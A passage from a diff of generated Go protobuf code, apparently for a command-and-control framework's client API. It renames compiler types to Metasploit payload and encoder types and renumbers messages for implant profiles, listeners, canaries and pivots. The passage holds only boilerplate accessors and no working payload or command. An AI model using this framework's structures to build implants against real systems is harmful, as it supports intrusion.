-func (x *CrossCompiler) GetTargetGOARCH() string {
+func (x *MetasploitModule) GetFullName() string {
if x != nil {
- return x.TargetGOARCH
+ return x.FullName
}
return ""
}
-func (x *CrossCompiler) GetCCPath() string {
+func (x *MetasploitModule) GetDescription() string {
if x != nil {
- return x.CCPath
+ return x.Description
}
return ""
}
-func (x *CrossCompiler) GetCXXPath() string {
+func (x *MetasploitModule) GetQuality() string {
if x != nil {
- return x.CXXPath
+ return x.Quality
}
return ""
}
-type Compiler struct {
+type MetasploitCompiler struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
- GOOS string `protobuf:"bytes,1,opt,name=GOOS,proto3" json:"GOOS,omitempty"` // The server's OS
- GOARCH string `protobuf:"bytes,2,opt,name=GOARCH,proto3" json:"GOARCH,omitempty"` // The server's Arch
- Targets []*CompilerTarget `protobuf:"bytes,3,rep,name=Targets,proto3" json:"Targets,omitempty"`
- CrossCompilers []*CrossCompiler `protobuf:"bytes,4,rep,name=CrossCompilers,proto3" json:"CrossCompilers,omitempty"`
- UnsupportedTargets []*CompilerTarget `protobuf:"bytes,5,rep,name=UnsupportedTargets,proto3" json:"UnsupportedTargets,omitempty"`
+ Version string `protobuf:"bytes,1,opt,name=Version,proto3" json:"Version,omitempty"`
+ Formats []string `protobuf:"bytes,2,rep,name=Formats,proto3" json:"Formats,omitempty"`
+ Archs []string `protobuf:"bytes,3,rep,name=Archs,proto3" json:"Archs,omitempty"`
+ Encoders []*MetasploitModule `protobuf:"bytes,4,rep,name=Encoders,proto3" json:"Encoders,omitempty"`
+ Payloads []*MetasploitModule `protobuf:"bytes,5,rep,name=Payloads,proto3" json:"Payloads,omitempty"`
}
-func (x *Compiler) Reset() {
- *x = Compiler{}
+func (x *MetasploitCompiler) Reset() {
+ *x = MetasploitCompiler{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[20]
+ mi := &file_clientpb_client_proto_msgTypes[27]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
-func (x *Compiler) String() string {
+func (x *MetasploitCompiler) String() string {
return protoimpl.X.MessageStringOf(x)
}
-func (*Compiler) ProtoMessage() {}
+func (*MetasploitCompiler) ProtoMessage() {}
-func (x *Compiler) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[20]
+func (x *MetasploitCompiler) ProtoReflect() protoreflect.Message {
+ mi := &file_clientpb_client_proto_msgTypes[27]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -3293,42 +3815,42 @@ func (x *Compiler) ProtoReflect() protoreflect.Message {
return mi.MessageOf(x)
}
-// Deprecated: Use Compiler.ProtoReflect.Descriptor instead.
-func (*Compiler) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{20}
+// Deprecated: Use MetasploitCompiler.ProtoReflect.Descriptor instead.
+func (*MetasploitCompiler) Descriptor() ([]byte, []int) {
+ return file_clientpb_client_proto_rawDescGZIP(), []int{27}
}
-func (x *Compiler) GetGOOS() string {
+func (x *MetasploitCompiler) GetVersion() string {
if x != nil {
- return x.GOOS
+ return x.Version
}
return ""
}
-func (x *Compiler) GetGOARCH() string {
+func (x *MetasploitCompiler) GetFormats() []string {
if x != nil {
- return x.GOARCH
+ return x.Formats
}
- return ""
+ return nil
}
-func (x *Compiler) GetTargets() []*CompilerTarget {
+func (x *MetasploitCompiler) GetArchs() []string {
if x != nil {
- return x.Targets
+ return x.Archs
}
return nil
}
-func (x *Compiler) GetCrossCompilers() []*CrossCompiler {
+func (x *MetasploitCompiler) GetEncoders() []*MetasploitModule {
if x != nil {
- return x.CrossCompilers
+ return x.Encoders
}
return nil
}
-func (x *Compiler) GetUnsupportedTargets() []*CompilerTarget {
+func (x *MetasploitCompiler) GetPayloads() []*MetasploitModule {
if x != nil {
- return x.UnsupportedTargets
+ return x.Payloads
}
return nil
}
@@ -3344,7 +3866,7 @@ type DeleteReq struct {
func (x *DeleteReq) Reset() {
*x = DeleteReq{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[21]
+ mi := &file_clientpb_client_proto_msgTypes[28]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -3357,7 +3879,7 @@ func (x *DeleteReq) String() string {
func (*DeleteReq) ProtoMessage() {}
func (x *DeleteReq) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[21]
+ mi := &file_clientpb_client_proto_msgTypes[28]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -3370,7 +3892,7 @@ func (x *DeleteReq) ProtoReflect() protoreflect.Message {
// Deprecated: Use DeleteReq.ProtoReflect.Descriptor instead.
func (*DeleteReq) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{21}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{28}
}
func (x *DeleteReq) GetName() string {
@@ -3398,7 +3920,7 @@ type DNSCanary struct {
func (x *DNSCanary) Reset() {
*x = DNSCanary{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[22]
+ mi := &file_clientpb_client_proto_msgTypes[29]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -3411,7 +3933,7 @@ func (x *DNSCanary) String() string {
func (*DNSCanary) ProtoMessage() {}
func (x *DNSCanary) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[22]
+ mi := &file_clientpb_client_proto_msgTypes[29]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -3424,7 +3946,7 @@ func (x *DNSCanary) ProtoReflect() protoreflect.Message {
// Deprecated: Use DNSCanary.ProtoReflect.Descriptor instead.
func (*DNSCanary) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{22}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{29}
}
func (x *DNSCanary) GetID() string {
@@ -3487,7 +4009,7 @@ type Canaries struct {
func (x *Canaries) Reset() {
*x = Canaries{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[23]
+ mi := &file_clientpb_client_proto_msgTypes[30]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -3500,7 +4022,7 @@ func (x *Canaries) String() string {
func (*Canaries) ProtoMessage() {}
func (x *Canaries) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[23]
+ mi := &file_clientpb_client_proto_msgTypes[30]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -3513,7 +4035,7 @@ func (x *Canaries) ProtoReflect() protoreflect.Message {
// Deprecated: Use Canaries.ProtoReflect.Descriptor instead.
func (*Canaries) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{23}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{30}
}
func (x *Canaries) GetCanaries() []*DNSCanary {
@@ -3535,7 +4057,7 @@ type UniqueWGIP struct {
func (x *UniqueWGIP) Reset() {
*x = UniqueWGIP{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[24]
+ mi := &file_clientpb_client_proto_msgTypes[31]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -3548,7 +4070,7 @@ func (x *UniqueWGIP) String() string {
func (*UniqueWGIP) ProtoMessage() {}
func (x *UniqueWGIP) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[24]
+ mi := &file_clientpb_client_proto_msgTypes[31]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -3561,7 +4083,7 @@ func (x *UniqueWGIP) ProtoReflect() protoreflect.Message {
// Deprecated: Use UniqueWGIP.ProtoReflect.Descriptor instead.
func (*UniqueWGIP) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{24}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{31}
}
func (x *UniqueWGIP) GetIP() string {
@@ -3584,7 +4106,7 @@ type ImplantProfile struct {
func (x *ImplantProfile) Reset() {
*x = ImplantProfile{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[25]
+ mi := &file_clientpb_client_proto_msgTypes[32]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -3597,7 +4119,7 @@ func (x *ImplantProfile) String() string {
func (*ImplantProfile) ProtoMessage() {}
func (x *ImplantProfile) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[25]
+ mi := &file_clientpb_client_proto_msgTypes[32]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -3610,7 +4132,7 @@ func (x *ImplantProfile) ProtoReflect() protoreflect.Message {
// Deprecated: Use ImplantProfile.ProtoReflect.Descriptor instead.
func (*ImplantProfile) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{25}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{32}
}
func (x *ImplantProfile) GetID() string {
@@ -3645,7 +4167,7 @@ type ImplantProfiles struct {
func (x *ImplantProfiles) Reset() {
*x = ImplantProfiles{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[26]
+ mi := &file_clientpb_client_proto_msgTypes[33]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -3658,7 +4180,7 @@ func (x *ImplantProfiles) String() string {
func (*ImplantProfiles) ProtoMessage() {}
func (x *ImplantProfiles) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[26]
+ mi := &file_clientpb_client_proto_msgTypes[33]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -3671,7 +4193,7 @@ func (x *ImplantProfiles) ProtoReflect() protoreflect.Message {
// Deprecated: Use ImplantProfiles.ProtoReflect.Descriptor instead.
func (*ImplantProfiles) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{26}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{33}
}
func (x *ImplantProfiles) GetProfiles() []*ImplantProfile {
@@ -3692,7 +4214,7 @@ type RegenerateReq struct {
func (x *RegenerateReq) Reset() {
*x = RegenerateReq{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[27]
+ mi := &file_clientpb_client_proto_msgTypes[34]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -3705,7 +4227,7 @@ func (x *RegenerateReq) String() string {
func (*RegenerateReq) ProtoMessage() {}
func (x *RegenerateReq) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[27]
+ mi := &file_clientpb_client_proto_msgTypes[34]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -3718,7 +4240,7 @@ func (x *RegenerateReq) ProtoReflect() protoreflect.Message {
// Deprecated: Use RegenerateReq.ProtoReflect.Descriptor instead.
func (*RegenerateReq) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{27}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{34}
}
func (x *RegenerateReq) GetImplantName() string {
@@ -3745,7 +4267,7 @@ type Job struct {
func (x *Job) Reset() {
*x = Job{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[28]
+ mi := &file_clientpb_client_proto_msgTypes[35]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -3758,7 +4280,7 @@ func (x *Job) String() string {
func (*Job) ProtoMessage() {}
func (x *Job) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[28]
+ mi := &file_clientpb_client_proto_msgTypes[35]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -3771,7 +4293,7 @@ func (x *Job) ProtoReflect() protoreflect.Message {
// Deprecated: Use Job.ProtoReflect.Descriptor instead.
func (*Job) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{28}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{35}
}
func (x *Job) GetID() uint32 {
@@ -3834,7 +4356,7 @@ type Jobs struct {
func (x *Jobs) Reset() {
*x = Jobs{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[29]
+ mi := &file_clientpb_client_proto_msgTypes[36]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -3847,7 +4369,7 @@ func (x *Jobs) String() string {
func (*Jobs) ProtoMessage() {}
func (x *Jobs) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[29]
+ mi := &file_clientpb_client_proto_msgTypes[36]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -3860,7 +4382,7 @@ func (x *Jobs) ProtoReflect() protoreflect.Message {
// Deprecated: Use Jobs.ProtoReflect.Descriptor instead.
func (*Jobs) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{29}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{36}
}
func (x *Jobs) GetActive() []*Job {
@@ -3881,7 +4403,7 @@ type KillJobReq struct {
func (x *KillJobReq) Reset() {
*x = KillJobReq{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[30]
+ mi := &file_clientpb_client_proto_msgTypes[37]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -3894,7 +4416,7 @@ func (x *KillJobReq) String() string {
func (*KillJobReq) ProtoMessage() {}
func (x *KillJobReq) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[30]
+ mi := &file_clientpb_client_proto_msgTypes[37]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -3907,7 +4429,7 @@ func (x *KillJobReq) ProtoReflect() protoreflect.Message {
// Deprecated: Use KillJobReq.ProtoReflect.Descriptor instead.
func (*KillJobReq) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{30}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{37}
}
func (x *KillJobReq) GetID() uint32 {
@@ -3928,7 +4450,7 @@ type RestartJobReq struct {
func (x *RestartJobReq) Reset() {
*x = RestartJobReq{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[31]
+ mi := &file_clientpb_client_proto_msgTypes[38]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -3941,7 +4463,7 @@ func (x *RestartJobReq) String() string {
func (*RestartJobReq) ProtoMessage() {}
func (x *RestartJobReq) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[31]
+ mi := &file_clientpb_client_proto_msgTypes[38]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -3954,7 +4476,7 @@ func (x *RestartJobReq) ProtoReflect() protoreflect.Message {
// Deprecated: Use RestartJobReq.ProtoReflect.Descriptor instead.
func (*RestartJobReq) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{31}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{38}
}
func (x *RestartJobReq) GetJobIDs() []uint32 {
@@ -3976,7 +4498,7 @@ type KillJob struct {
func (x *KillJob) Reset() {
*x = KillJob{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[32]
+ mi := &file_clientpb_client_proto_msgTypes[39]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -3989,7 +4511,7 @@ func (x *KillJob) String() string {
func (*KillJob) ProtoMessage() {}
func (x *KillJob) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[32]
+ mi := &file_clientpb_client_proto_msgTypes[39]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -4002,7 +4524,7 @@ func (x *KillJob) ProtoReflect() protoreflect.Message {
// Deprecated: Use KillJob.ProtoReflect.Descriptor instead.
func (*KillJob) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{32}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{39}
}
func (x *KillJob) GetID() uint32 {
@@ -4038,7 +4560,7 @@ type ListenerJob struct {
func (x *ListenerJob) Reset() {
*x = ListenerJob{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[33]
+ mi := &file_clientpb_client_proto_msgTypes[40]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -4051,7 +4573,7 @@ func (x *ListenerJob) String() string {
func (*ListenerJob) ProtoMessage() {}
func (x *ListenerJob) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[33]
+ mi := &file_clientpb_client_proto_msgTypes[40]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -4064,7 +4586,7 @@ func (x *ListenerJob) ProtoReflect() protoreflect.Message {
// Deprecated: Use ListenerJob.ProtoReflect.Descriptor instead.
func (*ListenerJob) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{33}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{40}
}
func (x *ListenerJob) GetID() string {
@@ -4135,7 +4657,7 @@ type MultiplayerListenerReq struct {
func (x *MultiplayerListenerReq) Reset() {
*x = MultiplayerListenerReq{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[34]
+ mi := &file_clientpb_client_proto_msgTypes[41]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -4148,7 +4670,7 @@ func (x *MultiplayerListenerReq) String() string {
func (*MultiplayerListenerReq) ProtoMessage() {}
func (x *MultiplayerListenerReq) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[34]
+ mi := &file_clientpb_client_proto_msgTypes[41]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -4161,7 +4683,7 @@ func (x *MultiplayerListenerReq) ProtoReflect() protoreflect.Message {
// Deprecated: Use MultiplayerListenerReq.ProtoReflect.Descriptor instead.
func (*MultiplayerListenerReq) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{34}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{41}
}
func (x *MultiplayerListenerReq) GetHost() string {
@@ -4190,7 +4712,7 @@ type MTLSListenerReq struct {
func (x *MTLSListenerReq) Reset() {
*x = MTLSListenerReq{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[35]
+ mi := &file_clientpb_client_proto_msgTypes[42]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -4203,7 +4725,7 @@ func (x *MTLSListenerReq) String() string {
func (*MTLSListenerReq) ProtoMessage() {}
func (x *MTLSListenerReq) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[35]
+ mi := &file_clientpb_client_proto_msgTypes[42]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -4216,7 +4738,7 @@ func (x *MTLSListenerReq) ProtoReflect() protoreflect.Message {
// Deprecated: Use MTLSListenerReq.ProtoReflect.Descriptor instead.
func (*MTLSListenerReq) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{35}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{42}
}
func (x *MTLSListenerReq) GetHost() string {
@@ -4248,7 +4770,7 @@ type WGListenerReq struct {
func (x *WGListenerReq) Reset() {
*x = WGListenerReq{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[36]
+ mi := &file_clientpb_client_proto_msgTypes[43]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -4261,7 +4783,7 @@ func (x *WGListenerReq) String() string {
func (*WGListenerReq) ProtoMessage() {}
func (x *WGListenerReq) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[36]
+ mi := &file_clientpb_client_proto_msgTypes[43]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -4274,7 +4796,7 @@ func (x *WGListenerReq) ProtoReflect() protoreflect.Message {
// Deprecated: Use WGListenerReq.ProtoReflect.Descriptor instead.
func (*WGListenerReq) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{36}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{43}
}
func (x *WGListenerReq) GetHost() string {
@@ -4327,7 +4849,7 @@ type DNSListenerReq struct {
func (x *DNSListenerReq) Reset() {
*x = DNSListenerReq{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[37]
+ mi := &file_clientpb_client_proto_msgTypes[44]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -4340,7 +4862,7 @@ func (x *DNSListenerReq) String() string {
func (*DNSListenerReq) ProtoMessage() {}
func (x *DNSListenerReq) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[37]
+ mi := &file_clientpb_client_proto_msgTypes[44]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -4353,7 +4875,7 @@ func (x *DNSListenerReq) ProtoReflect() protoreflect.Message {
// Deprecated: Use DNSListenerReq.ProtoReflect.Descriptor instead.
func (*DNSListenerReq) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{37}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{44}
}
func (x *DNSListenerReq) GetDomains() []string {
@@ -4413,7 +4935,7 @@ type HTTPListenerReq struct {
func (x *HTTPListenerReq) Reset() {
*x = HTTPListenerReq{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[38]
+ mi := &file_clientpb_client_proto_msgTypes[45]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -4426,7 +4948,7 @@ func (x *HTTPListenerReq) String() string {
func (*HTTPListenerReq) ProtoMessage() {}
func (x *HTTPListenerReq) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[38]
+ mi := &file_clientpb_client_proto_msgTypes[45]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -4439,7 +4961,7 @@ func (x *HTTPListenerReq) ProtoReflect() protoreflect.Message {
// Deprecated: Use HTTPListenerReq.ProtoReflect.Descriptor instead.
func (*HTTPListenerReq) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{38}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{45}
}
func (x *HTTPListenerReq) GetDomain() string {
@@ -4539,7 +5061,7 @@ type NamedPipesReq struct {
func (x *NamedPipesReq) Reset() {
*x = NamedPipesReq{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[39]
+ mi := &file_clientpb_client_proto_msgTypes[46]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -4552,7 +5074,7 @@ func (x *NamedPipesReq) String() string {
func (*NamedPipesReq) ProtoMessage() {}
func (x *NamedPipesReq) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[39]
+ mi := &file_clientpb_client_proto_msgTypes[46]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -4565,7 +5087,7 @@ func (x *NamedPipesReq) ProtoReflect() protoreflect.Message {
// Deprecated: Use NamedPipesReq.ProtoReflect.Descriptor instead.
func (*NamedPipesReq) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{39}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{46}
}
func (x *NamedPipesReq) GetPipeName() string {
@@ -4595,7 +5117,7 @@ type NamedPipes struct {
func (x *NamedPipes) Reset() {
*x = NamedPipes{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[40]
+ mi := &file_clientpb_client_proto_msgTypes[47]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -4608,7 +5130,7 @@ func (x *NamedPipes) String() string {
func (*NamedPipes) ProtoMessage() {}
func (x *NamedPipes) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[40]
+ mi := &file_clientpb_client_proto_msgTypes[47]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -4621,7 +5143,7 @@ func (x *NamedPipes) ProtoReflect() protoreflect.Message {
// Deprecated: Use NamedPipes.ProtoReflect.Descriptor instead.
func (*NamedPipes) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{40}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{47}
}
func (x *NamedPipes) GetSuccess() bool {
@@ -4658,7 +5180,7 @@ type TCPPivotReq struct {
func (x *TCPPivotReq) Reset() {
*x = TCPPivotReq{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[41]
+ mi := &file_clientpb_client_proto_msgTypes[48]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -4671,7 +5193,7 @@ func (x *TCPPivotReq) String() string {
func (*TCPPivotReq) ProtoMessage() {}
func (x *TCPPivotReq) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[41]
+ mi := &file_clientpb_client_proto_msgTypes[48]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -4684,7 +5206,7 @@ func (x *TCPPivotReq) ProtoReflect() protoreflect.Message {
// Deprecated: Use TCPPivotReq.ProtoReflect.Descriptor instead.
func (*TCPPivotReq) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{41}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{48}
}
func (x *TCPPivotReq) GetAddress() string {
@@ -4714,7 +5236,7 @@ type TCPPivot struct {
func (x *TCPPivot) Reset() {
*x = TCPPivot{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[42]
+ mi := &file_clientpb_client_proto_msgTypes[49]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -4727,7 +5249,7 @@ func (x *TCPPivot) String() string {
func (*TCPPivot) ProtoMessage() {}
func (x *TCPPivot) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[42]
+ mi := &file_clientpb_client_proto_msgTypes[49]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -4740,7 +5262,7 @@ func (x *TCPPivot) ProtoReflect() protoreflect.Message {
// Deprecated: Use TCPPivot.ProtoReflect.Descriptor instead.
func (*TCPPivot) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{42}
